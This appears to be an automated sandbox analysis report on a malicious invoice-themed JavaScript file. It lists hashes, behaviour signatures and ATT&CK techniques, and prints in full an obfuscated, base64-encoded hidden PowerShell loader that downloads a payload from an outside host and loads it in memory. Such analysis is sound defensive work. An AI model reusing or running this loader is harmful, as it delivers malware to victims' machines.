c07cc41e7acf586cc74eb81b717be75d7881264e755815da2eee07d9294bcdbb

General

Target
Pending-invoicependingformapayment.js
Size 12.2MB
Sample260204-ryptbag14f
SHA256 c07cc41e7acf586cc74eb81b717be75d7881264e755815da2eee07d9294bcdbb
MD5 f70b4b972004ca8022fee4a3d5db187e
SHA1 1ce1a5851760cc44a85fd41fc6f385123875d08e
SHA512 8865d659c8bf70eb22018609a5b4e9fcede77c421808ba30c2a9f15d8a2eff132503eb5d79e3e6251ad4e0fe9d3663975e3b5a69b99c31d5b1906362d5d2577f
SSDEEP 24576:YssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssZ:S
TLSH
T18AD6022D11AF15C4001E08989679974E5C3CA8AEADE3EB3EF5A3F7DD9440F4C3196B29
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3664	5360	powershell.exe	79

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3664	powershell.exe
3	3664	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3664	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3664	powershell.exe
3664	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3664	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Pending-invoicependingformapayment.js
1⤵
PID:6100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('KCgnTWNFZWxlZW1vc3luYXJpZScrJ3MgPSBMUUEhQCNNY0UlwqgmKiVNY0UjQCEjJU1jRSVNY0UjQCEjJU1jRSbCqCVNY0UjJU1jRSYqwqg1NDg3RDI1ODdNY0UlNDUnKyc2NyNNJysnY0UlOi8vcmUyNTg3TWNFJTQ1NjcjTWNFJS5jbG91ZGluYXJ5LmNvbS9keTZhOWNxbmcvaW1hZ2UvdSbCqCVNY0UjJU1jRSYqwqg1NDg3RGxvYWQvdjE3NzAxMzg5ODAvTVNJX1BST193aSVNY0UjQCEjJU1jRSFAI01jRSXCqCYqX2I2NF9pMm53NzI1ODdNY0UlNDU2NyNNY0UlLmomwqglTWNFIyVNY0UmKsKoNTQ4N0RnTFFBLlJlcGxhY2UoTFFBIUAjTWNFJcKoJipMUUEsIExRQWhMUUEpLlJlcGxhY2UoTFFBJU1jRSNAISMlTWNFTFFBLCBMUUF0TFFBKS5SZXBsYWNlKExRQSbCqCVNY0UjJU1jRSYqwqg1NDg3RExRQSwnKycgTFFBcExRQSkuUmVwbGFjJysnZShMUUEyNTg3TWNFJTQ1NjcjTWNFJUxRQSwgTFFBc0xRQSk7IE1jRXN1cicrJ2VwZWwgPSBMUUFDOlcwTFVzZXJzVzBMUHVibGljVzBMRG93bmxvYWRzVzBMTmEnKydtZV9GaWxlTFFBOyBpZiAoIShUZXN0LVBhdGggTWNFc3VyZXBlbCkgLW9yICgoR2V0LURhdCcrJ2UpIC0gKEdldC1JdGVtIE1jRXN1cmVwZWwpLkxhc3RXcml0ZVRpbWUpLlRvdGFsRGF5cyAtZ3QgMSkgeyAgIE1jRVByb2dyZXNzUHJlZmVyZW5jZSA9IExRQVNpbGVudGx5Q29uJysndGludWVMUUE7ICAgSW52b2tlLVdlYlJlcXVlc3QgLVVyaSBNY0VlbGVlbW9zeW5hcmknKydlcyAtT3V0RmlsZSBNY0VzdXJlcGVsIC1Vc2VCYXNpY1BhcnNpbmcgfTsgTWNFZW5hbWluJysnaWMgPSBbSU8uJysnRmlsZV06OlJlYWRBbGxCeXRlcyhNYycrJ0VzdXJlcGVsKTsgTWMnKydFY3Jlb2xpc2VkID0gW1RleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoTWNFZW5hbWluaWMpOyBNY0VjYXInKydyYWdlZW4gPSBNY0VjcmVvbGlzZWQuSW5kZXhPZihMUUFCYXNlU3RhcnQtTFFBKTsgTWNFbmVtYXRpYyA9IE1jRWNyZW9saXNlZC5JbmRleE9mKExRQS1CYXNlRW5kTFFBKTsgaWYgKE1jRWNhcnJhZ2VlbiAtZ2UgMCAtYW5kIE1jRW5lbWF0aWMgLWd0IE1jRWNhcnJhZ2VlbikgeyAgIE0nKydjRXN0cmFwbGVzJysncyA9IE1jRWNyZW9saXNlZC5TdWJzdHJpbmcoTWNFY2FycmFnZWVuICsgMTAsIE1jRW5lbWF0aWMgLSBNY0VjYXJyYWdlZW4gLSAxMCknKyc7ICAgTWMnKydFYmVhcmRpZSA9IFtSZWZsZWN0aW9uJysnLkFzc2UnKydtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlJysnNjRTdHJpbmcoTWNFc3RyYScrJ3BsZXNzKSk7ICAgTWNFZGllb2ZmcyA9IExRQUp6MVJTR1V3TlZOT2QwRnFUVEZCUkU1M1NVUk5Na2xFVFhrNCcrJ01XSXliRmRrZUVwWVdYWlJNbHAxV1cxamRUQlhXbmxPTTFsMlVqSk1kbTlFWXpCU1NHRW5MQ2NuTENkRE9seFZjMlZ5YzF4UWRXSnNhV05jJysnUkc5M2JteHZZV1J6WENjc0owNScrJ2hiV1ZmUm1sc1pTY3NKMDF6WW5WcGJHJysnUW5MQ2NuTENkTmMySjFhV3hrSnl3bkp5d25WVkpNSnl3blF6cGNWWE5sY25OY1VIVmliR2xqWEVSdmQyNXNiMkZrYzF3bkxDZE9ZVzFsWDBacGJHVW5MQ2RxY3ljJysnc0p6RW5MQ2NuTENkVVlYTnJYMDVoYldVbkxDY3dKeXduSnl3bicrJ0p5d25Kdz09TFFBOyAgIE1jRWJvbGxldHJpZSA9IFtTeXN0ZW0uVGV4dC4nKydFbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udicrJ2VydF06OkZyb20nKydCYXNlNjRTdHJpbmcoTWNFZGllb2ZmcykpOyAgIE1jRXBsZW50ZW91c25lc3MgPSBNY0Vib2xsZXRyaWUgLXNwbGl0IExRJysnQSxMUUEgellkIEZvckVhY2gtT2JqZScrJ2N0IHsgTWNFXy5UcmltKExRQUxRQUxRQVZGVUxRQSApIH07ICAgW1NvZnR3YXJlLlByb2dyYW1dLkdldE1ldGhvZChWRlVNYWluVkZVKS5JbnZva2UoTWNFbnVsbCwgTWNFcGwnKydlbnQnKydlb3VzbmVzcyk7IH0nKSAtckVQbGFjRSAnellkJyxbQ0hBcl0xMjQgIC1DckVQTEFDRSAnTFFBJyxbQ0hBcl0zOSAtckVQbGFjRSAoW0NIQXJdODcrW0NIQXJdNDgrW0NIQXJdNzYpLFtDSEFyXTkyLXJFUGxhY0UgKFtDSEFyXTc3K1tDSEFyXTk5K1tDSEFyXTY5KSxbQ0hBcl0zNiAtQ3JFUExBQ0UgIChbQ0hBcl04NitbQ0hBcl03MCtbQ0hBcl04NSksW0NIQXJdMzQpIHwgJiAoKHZhUmlhYkxFICcqTURSKicpLm5BbUVbMywxMSwyXS1qb0lOJycp')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3664

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_ly2vjxbj.l54.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ly2vjxbj.l54.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3664-0-0x0000024872500000-0x0000024872510000-memory.dmp

Download

memory/3664-1-0x0000024872500000-0x0000024872510000-memory.dmp

Download

memory/3664-2-0x0000024875E40000-0x0000024875E62000-memory.dmp

Download

memory/3664-11-0x00000248763A0000-0x00000248764F2000-memory.dmp

Download

memory/3664-12-0x0000024872500000-0x0000024872510000-memory.dmp

Download

memory/3664-13-0x0000024872500000-0x0000024872510000-memory.dmp

Download

memory/3664-14-0x0000024872500000-0x0000024872510000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads